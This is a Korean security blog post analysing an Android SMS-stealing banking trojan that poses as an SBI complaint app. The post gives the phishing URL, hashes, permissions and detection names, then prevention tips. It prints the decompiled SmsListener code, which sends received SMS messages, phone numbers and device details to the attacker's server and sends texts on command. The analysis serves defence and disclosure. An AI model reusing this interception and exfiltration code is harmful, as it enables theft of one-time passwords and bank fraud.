꿈을꾸는 파랑새

반응형

해당 피싱 사이트는 모바일 뱅킹의 증가, 코로나 19 때문에 비대면 시대가 되면서 모바일 뱅킹을 노리는 악성코드가 증가하고 있고 이런 피싱 사이트들은 인터넷 뱅킹 비밀번호, 휴대폰 번호 및 모바일 뱅킹 사용자의 OTP등을 수집을 해서 개인의 계좌에 있는 돈을 탈취하는 방법을 사용하고 있습니다.
기본적으로 한국에서는 가짜 앱을 통해서 개인정보를 입력하라고 하고 역할 분담을 통해서 악성코드 제작 그리고 배포 인출책 그리고 검찰청, 금융당국 사칭들을 하지만 해외에서는 사용자의 스마트폰은 계정 탈취 후 사기 거래를 수행하기 위해 OTP 기반 2단계 인증을 손상하는 정보 도용 악성코드에 감염시키는 방법을 사용하고 있습니다.

해당 악성코드인 sbi_complaint.apk은 기본적으로 인도의 주요 은행 고객을 대상으로 공격하고 있으면 악의적인 목적을 가진 사람들은 피해자를 속여 민감한 계정 정보를 입력하도록 유도를 합니다. 그리고 사기 거래에 사용될 수 있는 거래 CIF 와 함께 계좌 번호, 인터넷 뱅킹 사용자 ID, 로그인 비밀번호, 거래 비밀번호, ATM PIN 및 기타 신용/체크카드 세부 정보가 포함되면 일단 기본적으로 CIF 등의 인증을 같은 뱅킹 속성이 포함된 모든 수신 SMS 메시지를 훔치는 이 특정 사기를 실행하기 위해 피싱 캠페인에 SMS 스틸러 즉 SMS 문자를 훔치는 행위를 하고 있습니다.

피싱 사이트
피싱 사이트

해당 방법을 통해서 사기꾼들은 피해자 정보를 확보하고 나서 C&C 서버로 보내는 방식을 취하고 있습니다. 한국으로 치면 몸캠 과 가짜 은행 앱을 합쳤다고 할까? 이런 느낌일 것입니다. 일단 해당 피싱 사이트는 기본적으로 은행 고객 센터로 위장하고 있으면 기본적으로 전화번호, 은행 계좌번호를 입력하고 유도를 합니다. 일단 유포 사이트는 다음과 같습니다.
https://complaintsregister(.)com/->https://complaintsregister(.)com/SBI_Complaint.apk 순서로 개인정보를 수집하고 악성코드를 다운로드를 합니다.

피싱 사이트 개인정보 수집
피싱 사이트 개인정보 수집

그리고 바이러토탈 기준으로 2021-10-17 18:30:14 UTC 해당 피싱 사이트를 탐지를 하는 보안 업체는 러시아 보안 업체:Dr.Web: Malicious에서 탐지하고 있으면 개인적으로 StopBadware,마이크로소프트 엣지 통해서 피싱 사이트 신고,ESET,Avria,Phishtank,EMSISOFT(엠시소프트) 에신고는 한 상태입니다.
그리고 피싱 사이트 웹 소스를 보면 다음과 같이 포함이 돼 있는 것을 확인할 수가 있습니다.

</div>
                                                                                                <div class="wpb_text_column">
                                                                                                    <div class="wpb_wrapper">
                                                                                                        <p style="text-align: center;">
                                                                                                            If doesn't Start automatically&nbsp;
                                                                                                            <a href="https://complaintsregister(.)com/SBI_Complaint.apk" data-auto-download="">Click here for Download</a>

 

여기서 고객 정보 파일(CIF,Customer Information File)를 입력을 하도록 요구를 하고 있습니다.
고객 정보 파일(CIF)에는 계좌 소유자의 중요한 은행 정보가 디지털 형식으로 포함되어 있습니다. 모든 파일에는 모든 은행 고객과 관련된 고유 번호가 할당 정보를 입력하게 하고 ATM PIN 정보를 입력하도록 요구를 합니다.
그리고 해당 앱을 실행을 하면 다음과 같이 complaint no이라는 입력을 하라는 메시지를 볼 수가 있습니다.
해당 악성코드 해쉬값은 다음과 같습니다.

파일명: SBI_Complaint.apk
사이즈: 3,416,626 Bytes
CRC32: 66c79633
MD5:232d093de2029d293393613b2627b97b
SHA-1:93609d051affaf1f5455041643677ca6122202f4
SHA-256 8f05ecbb5f9fe721dfcd380669ab7ebb1dffc433ee0c4d5dce9936afa69564b0
SHA-512:5650d0a5176ce208c23861311baac5b5f78d61e1f5ee59ceeda45ee1e962752b10b28ba1329c20a45a3eb426bda3e4f606b800c8fa4183156aba9b5f04d01b99

악성코드 안드로이드 권한
악성코드 안드로이드 권한

입니다. 그리고 해당 악성코드의 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>

기본적으로 인터넷 접속, 문자 읽고 문자 보내기 등을 통해서 스마트폰 사용자의 문자 정보를 훔치는 것을 확인할 수가 있습니다.

sbi complaint 악성코드 Complaint no 수집
sbi complaint 악성코드 Complaint no 수집

그리고 classes.dex 파일은 총 5개를 포함하고 있습니다.
그리고 com.sbi.complaintregister.SmsListener 에서는 문자(SMS)를 수신하고 업로드 하려고 사용을 하는 코드들이 있는 것을 볼 수가 있습니다.

public class SmsListener extends BroadcastReceiver {
    public static String HttpUrl = "https://complaintsregister(.)com/api/msgstore?task=savemsg";
    private static final String SMS_RECIEVE = "android.provider.Telephony.SMS_RECEIVED";
    private static final String SMS_SEND = "android.provider.Telephony.SEND_SMS";
    private static final String TAG = "SMSBrodcastReciever";
    RequestQueue mQueue;

    public void onReceive(Context context, Intent intent) {
        Object[] pdusObj;
        Log.i(TAG, "Intent Avtion" + intent.getAction());
        if (intent.getAction() == SMS_RECIEVE || intent.getAction() == SMS_SEND) {
            new MainActivity();
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                try {
                    for (Object obj : (Object[]) bundle.get("pdus")) {
                        SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) obj);
                        String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                        String message = currentMessage.getDisplayMessageBody();
                        try {
                            MainActivity Sms = new MainActivity();
                            Date carat = new Date();
                            Log.e("ms", message);
                            this.mQueue = Volley.newRequestQueue(context);
                            this.mQueue.add(new JsonObjectRequest(0, HttpUrl + "&msg=" + Uri.encode(message) + "&phone=" + Uri.encode(phoneNumber) + "&model=" + Uri.encode(Sms.getDeviceName()) + "&type=Inbox&dateformat=" + Uri.encode(carat.toString()), null, new Response.Listener<JSONObject>() {
                                /* class com.sbi.complaintregister.SmsListener.C07871 */

                                public void onResponse(JSONObject response) {
                                    try {
                                        Log.d("mytag", response.toString());
                                        String data = response.getString("data");
                                        String messagetxt = response.getString("message");
                                        Log.e("test", data + messagetxt);
                                        SmsManager.getDefault().sendTextMessage(data, null, messagetxt, null, null);
                                    } catch (JSONException e) {
                                        e.printStackTrace();
                                    }
                                }
                            }, new Response.ErrorListener() {
                                /* class com.sbi.complaintregister.SmsListener.C07882 */

                                @Override // com.android.volley.Response.ErrorListener
                                public void onErrorResponse(VolleyError error) {
                                    error.printStackTrace();
                                }
                            }));
                            try {
                                Thread.sleep(100);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        } catch (Exception e2) {
                        }
                    }
                } catch (Exception e3) {
                }
            }
        }
    }
}

그리고 SMS 스틸러(문자 훔치기)는 또한 모든 장치 재부팅에 대한 사용자 상호 작용 없이 부팅되며 해당 사이트에 접속을 했을떄 잠시 멈추었는지 수집된 개인정보들을 확인할 수가 없었습니다. 즉 이런 식으로 한국에서도 스미싱을 악용할 수가 있으면 기본적으로 SMS(문자) 기반으로 하는 2FA (이 단계 인증)방식은 안전하지 않으며 기본적으로 모바일 은행을 사용하는 분들을 위해서 정상적인 구글 플레이 스토어,원스토어,

sbi_complaint 악성코드 실행
sbi_complaint 악성코드 실행

Apple Store(애플 스토어)를 통해서만 공식 앱을 다운로드 및 설치를 하게 알리는 것과 동시에 백신앱을 다운로드 설치를 권장하는 교육도 같이 이루어져야 이러한 스미싱에 대응할 수가 있을 것입니다.

안랩 V3 피싱 사이트 탐지
안랩 V3 피싱 사이트 탐지

물론 후후, 후스콜, 뭐야 이번호를 통해서 사용자가 보이스피싱을 피하는 방법들도 뉴스, 신문들에서 알려주어야 할 것입니다.
2021-10-17 17:34:29 UTC 기준 바이러스 토탈에 탐지되는 보안 업체들은 다음과 같습니다.
Alibaba:TrojanSpy:Android/SmsThief.dd2923eb
Avast-Mobile"Android:Evo-gen [Trj]
Avira (no cloud)"ANDROID/SMSThief.FKDM.Gen
BitDefenderFalx:Android.Trojan.Agent.gQMRS
CAT-QuickHeal:Android.SmsThief.GEN44052
Cynet:Malicious (score: 99)
DrWeb:Android.Banker.474.origin
ESET-NOD32:A Variant Of Android/Spy.Banker.AYT
Fortinet:Android/Banker.AYT!tr.spy
Ikarus:Trojan.AndroidOS.Banker
K7GW:Spyware ( 0057cf561 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.qw
Lionic:Trojan.AndroidOS.SmsThief.C!c
MaxSecure:Trojan.Trojan.AndroidOS.Boogr.gsh
McAfee:Artemis!AFA0488B5483
Microsoft:TrojanSpy:AndroidOS/SmsThief.A
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AdLibrary:Generisk
이런 악성코드 예방 방법은 간단합니다.
1. 구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2. 공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3. 구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4. 스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
기본적으로 이름 있는 백신 앱을 설치하기를 권장하면 최소 안랩의 V3는 설치하시는 것을 추천 드리겠습니다.

반응형
그리드형

댓글

비밀글모드